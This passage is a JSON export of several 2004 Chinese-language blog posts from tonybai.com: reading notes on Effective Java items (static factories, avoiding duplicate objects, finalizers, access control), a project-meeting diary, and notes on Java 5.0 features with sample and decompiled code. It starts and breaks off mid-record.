Java阅读笔记-item16"},{"content":"Dominoo项目从10月份启动到现在已有近2月，我们做了些工作，但是项目的进度缓慢也是我们几个人有目共睹的。针对前一阶段的工作上的不利局面，我们几个做了一次讨论。\n最近两周的工作使我们的Dominoo有了很大进展，经过大家的讨论我们在一些技术问题上达成了共识。dreamhead建议我和toidi_xu结对编程，并将dmc的XML解析的工作交给我们来做（毕竟我在java编程上还属于菜鸟级），而dreadhead会腾出时间来完成下一步涉及技术问题的研究。不过在最近的讨论中我和toidi_xu也都积累了一些问题，今天我们就针对这些问题进行了讨论。\ntoidi_xu的问题让我们重新复习了一下Dominoo的提出的动机和设计思想。由于toidi_xu没能参加我们dominoo启动时的第一次讨论会，所以对有些Dominoo的“战略思想”问题有些疑惑。dreamhead带我们回顾的Dominoo的提出过程以及其中所蕴含的东西，让我又有了深刻的体会：\n结合dreamhead和model_zhang的思想我把我们得到的结论说一下：\n1、我们的Dominoo所处在软件开发流程中的位置\nDomain problem ———————————————————————————————————–\n|\nWhat（做什么） |\n|\n——————————————————————————|\nHow（怎么做） | 。logic（如一个业务逻辑 |\n| 或是一个算法） | Solution | | |\n| | |\n| 。adapter （将logic转换位 |\n| | Do的实体） |\n| |——-二进制代码 |\n| |——-汇编代码 |\n| |——-高级语言（C/C++/Java） |\n| |——-Dominoo（面向设计） |\n| |——-XXXX（面向需求）\n——————————————————————————————————–\nDo(运行的实体) | CPU\n说明一下上面的图，我们在解决问题的时候实际上都是在寻找问题域的一个解空间，在这个过程中我们要明确what , how , do。在how这个阶段，结合dreamhead和model_zhang产生的思想就是从what转换到logic,然后我们使用Adapter将我们的logic转换为可以运行在CPU上的产品，adapter的发展从binary code 到汇编到高级语言，再到我们所要实现的Dominoo（面向设计的工具或者说语言也可以），在这个发展过程中开发人员或者设计人员的关注程度逐渐从底层提高到问题领域，也许有一天我们使用自然语言描述需求，某个工具就能帮我们生成可运行的软件，这是我们理想的境界。不过我们现在做不到，我们必须脚踏实地的一点点向上攀登。\nDominoo提供给你一个可以快速验证你的设计是否可行有效的解决方案，同时也可以帮你生成最终的产品。你需要作的就是设计和少量动态语义的编码。\nmodel_zhang曾经提出在我们的Dominoo上实现测试设计和执行的自动化，甚至是测试重构等概念。让我大开眼界。^_^\n我这几天积蓄的问题大多集中在实现的细节上，这里就不详细说了。\n","permalink":"https://tonybai.com/2004/11/27/dominoo-notes-part2/","summary":"\u003cp\u003eDominoo项目从10月份启动到现在已有近2月，我们做了些工作，但是项目的进度缓慢也是我们几个人有目共睹的。针对前一阶段的工作上的不利局面，我们几个做了一次讨论。\u003c/p\u003e","title":"Dominoo项目日记(二)"},{"content":"Dreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\n从item12~item18讨论的都是单个类或接口的设计技术。\n12、使类和成员的可访问能力最小化\n作者提出“你应尽可能的是每一个类或成员不被外界访问”\n* 顶层类或接口的访问级别\npublic — 意味着你的类是提供给客户API的一部分，你有义务永远支持它，维护它。\npackage-private — 如果一个类或接口做成packge-private，那么意味着它实际上已成为包的实现的一个部分，而不是包提供给客户（使用者）的API的一部分。在以后包的维护过程中你对该类进行修改、替换和删除对客户并无影响。\n* 类or接口内成员的访问级别\n在几乎每一本java教科书中都有，我这里就不浪费文字了。不过书中有几个观点还是值得我们注意的：\n- 如果一个方法改写了超类的一个方法，那么子类中该方法的访问级别低于超类中的访问级别是不允许的。这样可确保子类的实例可被用在任何超类实例使用的场合。\n- 公有类不应该包含public field,例外情况通过公有的静态final field来暴露类中的常量是可以的。\n- 如果类内的一个final field包含一个指向可变对象的引用，那么它具有非final field的一切缺点，虽然引用本身是final的不能被修改，但是它引用的对象却可以被修改，这将是一个很危险的安全漏洞。如果你非要这么做的话，请确保被 public static final field所引用的对象是不可变的。\nConsidering the following code ：\npublic class TestItem12 {\npublic static final Integer[] intArray = { 1 , 4 , 5 , 6};//可以看出我们提供该final Integer的意图是其////不被修改，但实际上是可以被修改的。\npublic static void main(String[] args) {\nSystem.out.println(\u0026ldquo;Before modifying :\u0026rdquo;);\n//这是我们的意图，我们要使用static final field的值。\nfor (Integer i : TestItem12.intArray ){\nSystem.out.println(i);\n}\n//这可不是我们的意图，但是这样做编译器不会告诉你你的final引用的对象被修改了，you //are in danger\nTestItem12.intArray[1] = 11;\nTestItem12.intArray[2] = 10;\nSystem.out.println(\u0026ldquo;After modifying :\u0026rdquo;);\nfor (Integer i : TestItem12.intArray ){\nSystem.out.println(i);\n}\n}\n}\n//output：\nBefore modifying :\n1\n4\n5\n6\nAfter modifying :\n1\n11\n10\n6\n可以看到引用本身并未发生变化但是所引用对象的值发生了变化。我们改变一下：\npublic class TestItem12 {\npublic static final Integer[] valuesOfArray(){\nreturn (Integer[])intArray.clone();\n}\nprivate static final Integer[] intArray = { 1 , 4 , 5 , 6};\npublic static void main(String[] args) {\nInteger[] ia = TestItem12.valuesOfArray();\nfor (Integer i : ia ){\nSystem.out.println(i);\n}\na[2] = 123;\nfor (Integer i : TestItem12.valuesOfArray() ){\nSystem.out.println(i);\n} }\n}\n//output:\n1\n4\n5\n6\n1\n4\n5\n6\n当然这样会牺牲一些性能。^_^在这个过程中顺便谈谈clone（）这个方法吧，很有意思的,呵呵，看代码吧。\npublic class TestItem12 {\npublic static final Integer[] valuesOfArray(){\nreturn (Integer[])intArray; // remove the clone() method\n}\nprivate static final Integer[] intArray = { 1 , 4 , 5 , 6};\npublic static void main(String[] args) {\nInteger[] ia = TestItem12.valuesOfArray();\nfor (Integer i : ia ){\nSystem.out.println(i);\n}\na[2] = 123;\nfor (Integer i : TestItem12.valuesOfArray() ){\nSystem.out.println(i);\n}\n}\n//output:\n1\n4\n5\n6\n1\n4\n123\n6\n看到上面代码，remove the clone method后，输出了123，也就是说final reference所引用的对象的值被修改了。这样做是十分危险的，因为它直接暴露了类内部的成员。Clone的作用是它重新new了一块内存，并用intArray对其进行了初始化。这样实际上外部的引用就不会和内部的private引用指向同一块memory了。Simple吧.^_^\n","permalink":"https://tonybai.com/2004/11/27/effective-java-notes-item12/","summary":"\u003cp\u003eDreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\u003c/p\u003e","title":"Effective Java阅读笔记-item12"},{"content":"Dreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\n4、避免创建重复对象\n我们知道构造函数每次被调用的时候都会创建一个新的对象，在有些情况下这样会很浪费。那我们能不能重复使用一个对象（这个对象应该是immutable的），而不是在每次需要的时候都要创建一个新的对象呢？这就是这个item4所要讲述的事情。\n重用immutable对象\n在item1时我们说过使用static factory method方法可以控制对象的创建，在这里我们将用到此种方法。\n举个Boolean的例子，Boolean只有两个值true or false，而且Boolean是immutable的。Considering the following code:\nprivate static final Boolean TRUE = new Boolean(true);\nprivate static final Boolean FALSE = new Boolean(false);\npublic static final Boolean valueOf(final boolean b)\n{\nif( b )\nreturn TRUE;\nelse\nreturn FALSE;\n}\n可以看出immutable classes可以使用static factory method来避免产生重复对象。\n重用已知不会被修改的可变对象\n看看下面的例子：（改编自书中的例子，大部分摘取）\nimport java.util.*;\npublic class Person1 {\nprivate final Date birthDate;\nPerson1(Date birthDate) {\nthis.birthDate = birthDate;\n}\npublic boolean isEighties(){//判断是否是80年代的人\nCalendar gmtCal = Calendar.getInstance(TimeZone.getTimeZone(\u0026ldquo;GMT\u0026rdquo;));\ngmtCal.set(1980, Calendar.JANUARY, 1, 0, 0, 0);\nDate EIGHTIES_START = gmtCal.getTime();\ngmtCal.set(1990, Calendar.JANUARY, 1, 0, 0, 0);\nDate EIGHTIES_END = gmtCal.getTime();\nreturn birthDate.compareTo(EIGHTIES_START) \u0026gt;= 0 \u0026amp;\u0026amp;\nbirthDate.compareTo(EIGHTIES_END) \u0026lt; 0;\n}\npublic static void main(String[] args) {\nPerson1 p = new Person1(new Date());\nlong startTime = System.currentTimeMillis();\nfor (int i=0; i\u0026lt;1000000; i++){\np.isEighties();\n}\nlong endTime = System.currentTimeMillis();\nlong time = endTime – startTime;\nSystem.out.println(time+\u0026quot; ms.\u0026quot;);\n}\n}\n//output：\n9250ms\n可以看出上述代码每次调用isEighties函数时,Calendar,Date,TimeZone都要被实例化一次，这样的代价适合昂贵的。我们改进一下，将不变的Date对象的实例化的工作放在一个static初始化中，看看效果如何。\nimport java.util.*;\npublic class Person {\nprivate final Date birthDate;\nPerson(Date birthDate) {\nthis.birthDate = birthDate;\n}\nprivate static final Date EIGHTIES_START;\nprivate static final Date EIGHTIES_END;\nstatic {\nCalendar gmtCal = Calendar.getInstance(TimeZone.getTimeZone(\u0026ldquo;GMT\u0026rdquo;));\ngmtCal.set(1980, Calendar.JANUARY, 1, 0, 0, 0);\nEIGHTIES_START = gmtCal.getTime();\ngmtCal.set(1990, Calendar.JANUARY, 1, 0, 0, 0);\nEIGHTIES_END = gmtCal.getTime();\n}\npublic boolean isEighties(){\nreturn birthDate.compareTo(EIGHTIES_START) \u0026gt;= 0 \u0026amp;\u0026amp;\nbirthDate.compareTo(EIGHTIES_END) \u0026lt; 0;\n}\npublic static void main(String[] args) {\nPerson p = new Person(new Date());\nlong startTime = System.currentTimeMillis();\nfor (int i=0; i\u0026lt;1000000; i++){\np.isEighties();\n}\nlong endTime = System.currentTimeMillis();\nlong time = endTime – startTime;\nSystem.out.println(time+\u0026quot; ms.\u0026quot;);\n}\n}\n//output：\n62ms\n哇! 9250 vs 62 ,速度得到飞快提升。\n6、避免使用终结函数\n在这一节中作者也写了很多，不过我最感兴趣的是“finalizer chaining”终结函数链。\n其主要的内容就是“如果一个类（除了Object类）拥有一个finalize函数，并且它的子类override了finalize函数（java中所有类的member func都是virtual的，可以被override的），那么你应该在子类的finalize函数中手动调用父类的finalize函数”。\nprotected void finalize() throws Throwable {\ntry {\n//finalize subclass state\n…\n}finally{\nsuper.finalze();\n}\n}\n如果你不手动调用父类的finalize函数，父类的finalize函数将永远不会被调用。那么父类的finalize函数中的关键资源将不能够被释放。但是程序员总是有些“粗心大意”的，我们不能指望程序员都能记住要手动调用父类的finalize，那么我们就要想办法了。书中提到了“finalizer guardian”的概念。书中的论点是：“对于所有带有finalize函数的非final的public class，都应该考虑finalizer guardian技术”这里举例说一下我的理解，以书中的例子为例：\n从原来的\npublic class Foo {\nprotected void finalize() throws Throwable {\n//finalize the class Foo object\n…..\n}\n};\n//…..\n}\n进化为\npublic class Foo {\nprivate final Object finalizerGuardian = new Object() {\nprotected void finalize() throws Throwable {\n//finalize the outer class Foo object\n…..\n}\n};\n//…..\n//注意：该Foo类中并无finalize函数，所有关键资源的释放都由inner class override的finalize负责释放。\n}\n我们首先看看进化后类中的角色：\nFoo类：拥有关键资源需要释放且可能作为父类被继承。\nInner class: 继承自Object类，override了Object的finalize方法，并在finalize方法中帮助释放其outer class Foo的关键性资源。\n关键性资源释放的流程：由于inner class object和Foo object同生命周期，它们可以同时启动终结过程，inner class在终结过程中就会帮助Foo class释放关键性资源，保证关键性资源不会泄露。这样即使Foo类的子类在finalize中没有手动调用（如果父类使用了finalizer guardian技术，子类就无需手动调用父类的finalize了）父类的finalize，父类的关键资源也会被释放掉。That’s all！^_^\n","permalink":"https://tonybai.com/2004/11/27/effective-java-notes-item4-and-item6/","summary":"\u003cp\u003eDreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\u003c/p\u003e","title":"Effective Java阅读笔记-item4、6"},{"content":"Dreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\n1、使用静态工厂方法代替构造函数\n静态工厂方法优点：\n可命名性：（而构造函数的名字必须和类名一致），使class使用起来较容易，构造函数只是根据不同的函数signature来区分，对使用者来说容易发生调用错误。\n内部cache特性：在静态工厂内部可采用cache等机制控制对象实例的产生，比如singleton机制。返回一个原类型的一个子类型的对象。（体现了面向接口，不知道我这么理解是否正确）\n用我蹩脚的初学的java代码来说明问题吧^_^。\nConsider the following code:\n//BaseObj.java\npublic abstract class BaseObj{\npublic static BaseObj getInstance(String className){\ntry{\nClass c = Class.forName(className);\nreturn (BaseObj)c.newInstance();\n}catch(Exception e){\nreturn null;\n}\n}\npublic abstract void show();\n};\n//SubObj1.java\npublic class SubObj1 extends BaseObj{\npublic void show(){\nSystem.out.println(\u0026quot; I am SubObj1\u0026quot;);\n}\n};\n//SubObj2.java\npublic class SubObj2 extends BaseObj{\npublic void show(){\nSystem.out.println(\u0026quot; I am SubObj2\u0026quot;);\n}\n};\n//TestStaticFactoryMethod.java\npublic class TestStaticFactoryMethod{\npublic static void main(String[] args) {\nBaseObj.getInstance(\u0026ldquo;SubObj1\u0026rdquo;).show();\nBaseObj.getInstance(\u0026ldquo;SubObj2\u0026rdquo;).show();\n}\n}\n//output:\nI am SubObj1\nI am SubObj2\n从代码可以看出我们可以通过Reflection机制在runtime期间产生某种BaseObj的子类型，所以在编写BaseObj代码时我们根本不需要知道BaseObj到底有几个子类型。有的人说即使这样我们在使用的时候也要明确传入子类的类型的名字,也就是说还要指名道姓，如上面代码中我们传入\u0026quot;SubObj1\u0026quot;和\u0026quot;SubObj2\u0026quot;,有人提出使用abstract factory的模式，显然有可能解决问题，但是就上面的论述\u0026quot;返回一个原类型的一个子类型的对象\u0026quot;而言，使用abstract factory显然是混淆了概念。这里可以用一些折中的办法，比如在BaseObj中维护一个map表，并利用配置文件来动态load sub class’s name and keys,这样我们只需修改配置文件就可以动态的增加子类型。\n设计模式中的Factory pattern与这里谈到的工厂方法还是有一定区别的，不要混为一谈。首先我们这里谈的static factory method的产生对象是什么我们要搞清楚，是产生static factory method本身的对象或者其子类型的对象（上面的代码是产生子类型的对象）。而设计模式中的工厂模式中“工厂”和“产品”之间并无继承关系。\n如设计模式工厂模式的一段例子代码：\npublic class Factory{\npublic static Sample creator(int which){\n//getClass 产生Sample 一般可使用动态类装载装入类。\nif (which==1)\nreturn new SampleA();\nelse if (which==2)\nreturn new SampleB();\n}\n}\n可以看出工厂的类型为：Factory ,而产品为SampleA or SampleB。\n静态工厂方法缺点：\n- 类如不提供public or protected就不能被子类化；\n- 它和其它静态方法没有任何区别，在文档中不能显著体现出来它的作用\n现在java标准包中很多都是在abstract class中提供static factory method的，abstract 类本身就是用来被继承的，所以说第一个缺点被淡化了，书的作者的观点是这个缺点鼓励程序员使用复合，少用继承。至于第二个缺点现在有两个被很多包使用的static factory method的名字，valueOf和getInstance。我们这么用就行了^_^。\n从上面代码的分析中我们可以看到工厂方法有优点也有缺点，使不使用工厂方法你自己决定吧^_^。\n","permalink":"https://tonybai.com/2004/11/26/effective-java-notes-item1/","summary":"\u003cp\u003eDreamhead把他用大把银子买来的“Effective Java”借给我阅读，我真是很感动亚，我只能用行动来感谢Dreamhead了。^_^\u003c/p\u003e","title":"Effective Java阅读笔记-item1"},{"content":"读过《Thinking in Java》中著名的一章“Everything is an object”，而且不止一遍,不过经过今天和Dreamhead的探讨，才发现我对Java中的“Everything is an object”的理解还是那么的不到位。\n我和Dreamhead谈到我在研究Java 5.0时遇到的问题：\nString[] s = {“Hello” ,\n“Tiger”,\n“!”}；\n现在我想用传统的for loop来打印出字符串数组内的每一个字符串，我的问题是我该如何获取这个数组内的元素个数。我便查询一下jdk的doc，发现String类有一个length()方法，我就在s上使用了，结果编译器提示“can not find the method”，我就很奇怪了，为什么查到了String类下有概method，而compiler却提示找不到呢？后来我也使用了s.length,编译也通过了，执行也正确了。但是我心中的疑惑一直没有解开。今天和Dreamhead讨论下一步项目的工作计划时提到了这个问题，Dreamhead首先就说出了“Everything is an object”，String s是一个object ,同样String[] s也是一个object，也就是说我应该将String[] 放在一起看作一个类型，而不仅仅认为这是个String 类型的静态数组。这样length作为String[]类型的一个field就顺理成章了，我也就茅塞顿开了。也许上面的问题对于java老手来说很easy或者说根本不屑一提，但是对于我这个由C++过渡到java的选手来言，理解这个是很重要的。\n最后还是牢记“Everything is an object in java”。是不是我的题目有些大呀^_^。\n“我们不仅仅是小小程序员，我们还是普通人。”—– Darwin_yuan\n","permalink":"https://tonybai.com/2004/11/22/everything-is-an-object/","summary":"\u003cp\u003e读过《\u003ca href=\"http://www.douban.com/subject/1474824/\"\u003eThinking in Java\u003c/a\u003e》中著名的一章“Everything is an object”，而且不止一遍,不过经过今天和\u003ca href=\"http://dreamhead.blogbus.com/\"\u003eDreamhead\u003c/a\u003e的探讨，才发现我对Java中的“Everything is an object”的理解还是那么的不到位。\u003c/p\u003e","title":"Everything is an object"},{"content":"今天在“Java技术论坛”上看到了“J2se5.0新增小功能”这个帖子，大家的集思广益让我又有了一些收获。\n1、再谈java引入的格式化输入和输出\n在“Java 5.0新特性研究(一)”中，当时只是看了一些简单的例子，自己也没有深入看看jdk5.0的doc。今天看到论坛上的一些例子还是把我吸引了，自己又翻了翻昨天刚下的jdk5.0的doc，觉得java引入的新的格式化输入输出还是蛮好的^_^。\nJava的格式化输入输出功能都是由java.util.Formatter类提供的。\nJava提供printf:\n//format output:\nString str = String.format(\u0026ldquo;my name is %s\u0026rdquo; , \u0026ldquo;tony bai\u0026rdquo;);\nSystem.out.println(str);//my name is tony bai.\nSystem.out.printf(\u0026quot;[%s] is %d years old\u0026quot;, \u0026ldquo;dreamhead\u0026rdquo;, 26);//输出一行无换行。\nSystem.out.printf(\u0026quot;[%s] is %d years old\u0026quot;, \u0026ldquo;tony bai\u0026rdquo;, 22).println();//输出一行有换行。\n熟悉C/C++语法的对printf的使用应该不陌生，java中printf的使用几乎和C/C++没什么区别。\nJava提供scanner,相当于scanf:\nSystem.out.println(“Please enter your job id:”);\nScanner sc = new Scanner(System.in);\nint id = sc.nextInt();\nSystem.out.println(“Please enter your job name:”);\nString jbName = sc.next();\n运行后，首先让你输入job id，这是个int值，如果你输入字符，将会看到如下异常被throwed:\nException in thread \u0026ldquo;main\u0026rdquo; java.util.InputMismatchException\nat java.util.Scanner.throwFor(Scanner.java:819)\nat java.util.Scanner.next(Scanner.java:1431)\nat java.util.Scanner.nextInt(Scanner.java:2040)\nat java.util.Scanner.nextInt(Scanner.java:2000)\nat Main.main(Main.java:59)\n在C/C++中没有这种类型检查，我们举个简单的例子：\n//test.c , written in standard c\n#include \u0026ldquo;stdio.h\u0026rdquo;\nint main(int argc, char *argv[])\n{\nint job_id = 0;\nprintf(\u0026ldquo;enter your job id:\\n\u0026rdquo;);\nscanf(\u0026quot;%d\u0026quot; , \u0026amp;job_id);\nprintf(\u0026ldquo;your job id is %d:\\n\u0026rdquo; , job_id);\nreturn 0;\n}\n//test.cpp written in standard c++\n#include \u0026ldquo;iostream\u0026rdquo;\n#include \u0026ldquo;string\u0026rdquo;\nusing namespace std;\nint main(int argc, char *argv[])\n{\nint job_id = 0;\ncout \u0026laquo; \u0026ldquo;enter your job id:\u0026rdquo; \u0026laquo; endl;\ncin \u0026raquo; job_id;\ncout \u0026laquo; \u0026ldquo;your job id is \u0026quot; \u0026laquo; job_id \u0026laquo; endl; return 0;\n}\n上面两段程序完成统一功能。即接受你输入的job id，然后输出你的job id。\n运行上面两个程序，我们输入”years”作为我们的job id,程序输出的结果是:\n“your job id is 0”;\n说明程序没有接受我们的输入而直接输出初始值了。这种情况可不是我们所要的，所以说java做得还是不错的，抛出了异常，以免输入错误的类型值。\n2、UUID\n使用过com组件的人都对uuid（Universally Unique IDentifier）不陌生，每个com组件都有自己全球唯一的uuid，在microsoft的visual studio中提供一个小工具可以生成一个uuid。Java在5.0中也引入了uuid，而且使用起来也很简单。\nUUID uuid = UUID.randomUUID(); //use a static factory method to create an instance\nSystem.out.printf(\u0026ldquo;UUID : %s\u0026rdquo;, uuid).println();\n//output：UUID : a4bf4134-1395-4b13-a536-c1f538f95ff8\n","permalink":"https://tonybai.com/2004/11/22/java5-research-part2/","summary":"\u003cp\u003e今天在“Java技术论坛”上看到了“J2se5.0新增小功能”这个帖子，大家的集思广益让我又有了一些收获。\u003c/p\u003e\n\u003cp\u003e1、再谈java引入的格式化输入和输出\u003cbr\u003e\n在“\u003ca href=\"http://tonybai.com/2004/11/19/java5-research-part1/\"\u003eJava 5.0新特性研究(一)\u003c/a\u003e”中，当时只是看了一些简单的例子，自己也没有深入看看jdk5.0的doc。今天看到论坛上的一些例子还是把我吸引了，自己又翻了翻昨天刚下的jdk5.0的doc，觉得java引入的新的格式化输入输出还是蛮好的^_^。\u003c/p\u003e","title":"Java 5.0新特性研究(二)"},{"content":"DreamHead计划使用\u0026quot;Java 5.0 Tiger\u0026quot;来开发我们的Dominoo，理由是：2-3年后\u0026quot;Tiger\u0026quot; will be mature。\n我们对刚刚发布不久的\u0026quot;Tiger\u0026quot;了解的不多，晚上我们几个group member坐了下来，听DreamHead讲解\u0026quot;Tiger\u0026quot;的新特性。回到寝室自己做了些实验，有了些体会。\n通过对\u0026quot;Tiger\u0026quot;的讨论和研究，得知Sun推出\u0026quot;Tiger\u0026quot;目的就是为了简化Java程序员的开发工作。在下面的详细解释及代码例子中你会深刻的体会到这一点。\n1、Auto-boxing and auto-unboxing conversion\nProblem:\n─ Conversion between primitive types and wrapper objects (and vice-versa)\n─ Needed when adding primitives to a collection\nJava 5.0给我们的解决方案就是：Let the compiler(Javac) do it。事实上javac真的是这么做的么，耳听为虚，眼见为实，看代码吧！\n我使用IntelliJ-Idea4.5.2写的代码（现在IntelliJ4.5已经可以支持jdk5.0的语法了，今早看了一下Eclipse的网站，Eclipse要到3.1才支持jdk5.0新加入的特性）[注]：在IntelliJ4.5中\u0026quot;File\u0026quot;—〉\u0026ldquo;Setting\u0026rdquo;—〉左下角\u0026quot;Classic View\u0026quot;最下面的\u0026quot;Language level for project\u0026quot;选择5.0即可。\n/*\n* test auto-boxing and auto-unboxing\n*/\n//old 1.4 style\nInteger intObj1 = new Integer(22);\nint i = intObj1.intValue();\nSystem.out.println(i); //output: 22\n//new 1.5 style\nInteger intObj2 = 23; //auto-boxing\nint j = intObj2; //auto-unboxing\nSystem.out.println(j); //output: 23\n//old 1.4 style\nArrayList al1 = new ArrayList();\nal1.add(new Integer(24)); //or al1.add(Integer.valueOf(24))\n//new 1.5 style\nArrayList al2 = new ArrayList();\nal2.add(24); // auto-boxing conversion\n编译为.class模块后，我们使用DJ Java Decompiler重新反编译得到以下代码（只写出对应上面代码的）：\nInteger intObj1 = new Integer(22);\nint i = intObj1.intValue();\nSystem.out.println(i);\nInteger intObj2 = Integer.valueOf(23);\nint j = intObj2.intValue();\nSystem.out.println(j);\nArrayList al1 = new ArrayList();\nal1.add(new Integer(24));\nArrayList al2 = new ArrayList();\nal2.add(Integer.valueOf(24));\n从上面代码中我们也可以看出，javac的确帮了我们的忙，它把繁重的活都揽去了，给我们留下了清闲，哦，忘说了，俺也是懒人^_^。\n2、Generics in java\nProblem: Collection element types\n– Can not be checked at compile time\n– Assignment must use cast\n– Can cause runtime exception or errors(ClassCastException)\n解决方案：\n–Tell the compiler what type your collection is\n– Compiler can fill in casts for you\n还是那个原则，告诉编译器你的collection中需要什么类型，编译器为你完成一切（类型检查，转型等）。看代码：\nArrayList strArrayList = new ArrayList();\nstrArrayList.add(\u0026ldquo;Hello\u0026rdquo;);\nSystem.out.println(strArrayList.iterator().next()); //output:Hello\nSystem.out.println(strArrayList.getClass()); //output:class java.util.ArrayList\n反编译后代码：\nArrayList strArrayList = new ArrayList();\nstrArrayList.add(\u0026ldquo;Hello\u0026rdquo;);\nSystem.out.println((String)strArrayList.iterator().next());\nSystem.out.println(strArrayList.getClass());\n实际上包括转型等都是javac帮我们做了。 从上面的代码中我们还能看出问题：看紫色标记的代码，我们打印strArrayList的类型，该变量在声明的时候是ArrayList类型的，我们的头脑里会认为打印出的应该是\u0026quot;class java.util.ArrayList\u0026quot;,可实际打印出的信息告诉我们collection中的元素的类型信息被丢弃了。也就是说ArrayList和ArrayList本不该是同一类型，不过我们看到的实际情况却是他们是同一类型。由于java中的generic只是在compiler一级得到支持，在jvm一级是不知道有generic这回事的，也许sun可能在不久的将来修正这一缺陷，别忘了java的强大的竞争对手C# 在2.0中已经在vm中加入对generic的支持。\n这里要提一下DreamHead对java模板的理解，挺逗的，蛮有启发性。DreamHead用 \u0026ldquo;剧本 电影版本\u0026quot;来理解java generic：\n射雕剧本 83版射雕 = new 射雕剧本();\n射雕剧本 03版射雕 = new 射雕剧本();\nJava generic与其他预言generic的简单比较，Java在compiler一级加入generic,导致的后果就是丢掉了类型信息，我们知道C++模板是不会丢掉类型信息的，但是会使可执行文件大小发生膨胀。C#2.0由于有VM的支持，所以既拥有类型信息，又不会使可执行文件的体积膨胀，但是总体来言，C++的generic最强大，也最成熟，当然和它支持的比较早也不无关系。\n[注] 在《Adding Generics to the Java Programming Language:Participant Draft Specification》一文中关于上述问题有以下说明：\nA parameterized class or interface declaration defines a set of types, one for each possible instantiation of the type parameter section. All parameterized types share the same class or interface at runtime.\nFor instance, the code:\nVector x = new Vector();\nVector y = new Vector();\nreturn x.getClass() == y.getClass();\nwill yield true.\n3、Enhanced for loop(foreach)\nC#早已引入foreach这个关键字，C++也提供foreach算法（如果要弄懂这个需要学习的东西就比较多了^_^），java从jdk5.0开始引入这种高级for－loop机制，不过java的设计者还是很聪明的，java并没有引入新的关键字，因为要是这样做的话，需要进行的改动工作就太多了。Java利用原有的for关键字和一个\u0026rdquo;：\u0026ldquo;就把这个完成了，不过java引入这一机制也只是方便程序员开发，这一机制也都是由javac来支持的，jvm一级并不知道foreach这一机制的存在。我们看看代码吧！\nVector strVec = new Vector();\nstrVec.add(\u0026ldquo;Hello\u0026rdquo;);\nstrVec.add(\u0026ldquo;Tiger\u0026rdquo;);\nstrVec.add(\u0026rdquo;!\u0026quot;);\n//old 1.4 style – dynamic container\nfor (Iterator i = strVec.iterator(); i.hasNext(); ){\nSystem.out.println(i.next());\n}\n//new 1.5 style – dynamic container\nfor ( String str1 : strVec ){\nSystem.out.println(str1);\n}\nString [] strArray = {\n\u0026ldquo;Java 2\u0026rdquo;,\n\u0026ldquo;Platform\u0026rdquo;,\n\u0026ldquo;Standard\u0026rdquo;,\n\u0026ldquo;Edition\u0026rdquo;,\n\u0026ldquo;1.5\u0026rdquo;};\n//old 1.4 style – static container\nfor(int i = 0 ; i \u0026lt; strArray.length ; ++i){\nSystem.out.println(strArray[i]);\n}\n//new 1.5 style – static container\nfor(String str2 : strArray){\nSystem.out.println(str2);\n}\n我们还是来看看反编译后的代码：\nfor(Iterator iterator1 = vector.iterator(); iterator1.hasNext(); System.out.println(s))\ns = (String)iterator1.next();\nString args2[] = args1;\nint j = args2.length;\nfor(int k = 0; k \u0026lt; j; k++)\n{\nString s1 = args2[k];\nSystem.out.println(s1);\n}\n注：上面对应颜色的代码相对应。\n可以看出javac又在帮我们的忙。紫色部分我们看到仅用3行代码就搞定，而编译器得辛苦生成那么多代码。\n4、Type safe Enumerations\nJava不支持enum是java程序员抱怨较多的，这次sun终于在java5.0中加入了对enum的支持，不过还是如上面几个new features一样，只是在java compiler一级支持。\n我们看看enum类型被javac转换成什么了？\n//Color.java\npublic enum Color {\nRED,\nGREEN,\nBLUE\n};\n上面是一个很简单的enum声明，下面是反编译器输出的代码：\npublic final class Color extends Enum\n{\npublic static final Color[] values()\n{\nreturn (Color[])$VALUES.clone();\n}\npublic static Color valueOf(String s)\n{\nColor acolor[] = $VALUES;\nint i = acolor.length;\nfor(int j = 0; j \u0026lt; i; j++)\n{\nColor color = acolor[j];\nif(color.name().equals(s))\nreturn color;\n}\nthrow new IllegalArgumentException(s);\n}\nprivate Color(String s, int i)\n{\nsuper(s, i);\n}\npublic static final Color RED;\npublic static final Color GREEN;\npublic static final Color BLUE;\nprivate static final Color $VALUES[];\nstatic\n{\nRED = new Color(\u0026ldquo;RED\u0026rdquo;, 0);\nGREEN = new Color(\u0026ldquo;GREEN\u0026rdquo;, 1);\nBLUE = new Color(\u0026ldquo;BLUE\u0026rdquo;, 2);\n$VALUES = (new Color[] {\nRED, GREEN, BLUE\n});\n}\n}\n在sun公司的一份培训材料中写到：\nProblem:\n—-Variable needs to hold limited set of values e.g. card suit can only be spade, diamond, club, heart\nSolution:\n—New type of class declaration Enum type has public, self-typed members for each enum constant\n—New keyword, enum Works with switch statement\n下面我们根据上面的叙述来使用一下enum:\npublic class TestEnum{\npublic enum Color {\nRED,\nGREEN,\nBLUE\n};\npublic static void main(String[] args) {\nfor (Color clr : Color.values() ){\nSystem.out.println(clr);\n/*output：\nRED\nGREEN\nBLUE\n*/\n} }\n}\n反编译后我们会看到如下的代码：\npublic static void main(String args[])\n{\nColor acolor[] = Color.values();\nint i = acolor.length;\nfor(int j = 0; j \u0026lt; i; j++)\n{\nColor color = acolor[j];\nSystem.out.println(color);\n}\n}\n通过这两个例子也可以看出enum不过是从Enum继承下来的类罢了，只是javac将相关的变换细节隐藏了。不过却给我们带来了极大的便利。\n5、Varargs\nProblem:\n— To have a method that takes a variable number of parameters\n— Can be done with an array, but not nice\n— Look at java.text.MessageFormat\nSolution: Let the compiler do it for you\n— New syntax:\n— public static String format (String fmt , Object… args);\n— Java. gets printf !\n例子：\npublic static void myPrintf(Object… args){\nfor(Object obj : args){\nSystem.out.println(obj);\n}\n}\npublic static void main(String[] args) {\nint i = 6;\nmyPrintf(\u0026ldquo;Hello\u0026rdquo; , \u0026ldquo;Tiger\u0026rdquo; , \u0026ldquo;Java 5.0\u0026rdquo;);\nmyPrintf(\u0026ldquo;Harbin\u0026rdquo; ,\u0026ldquo;Beijing\u0026rdquo;,\u0026ldquo;Shenyang\u0026rdquo; ,\u0026ldquo;Changchun\u0026rdquo;);\nmyPrintf(\u0026ldquo;The number is :\u0026rdquo; , 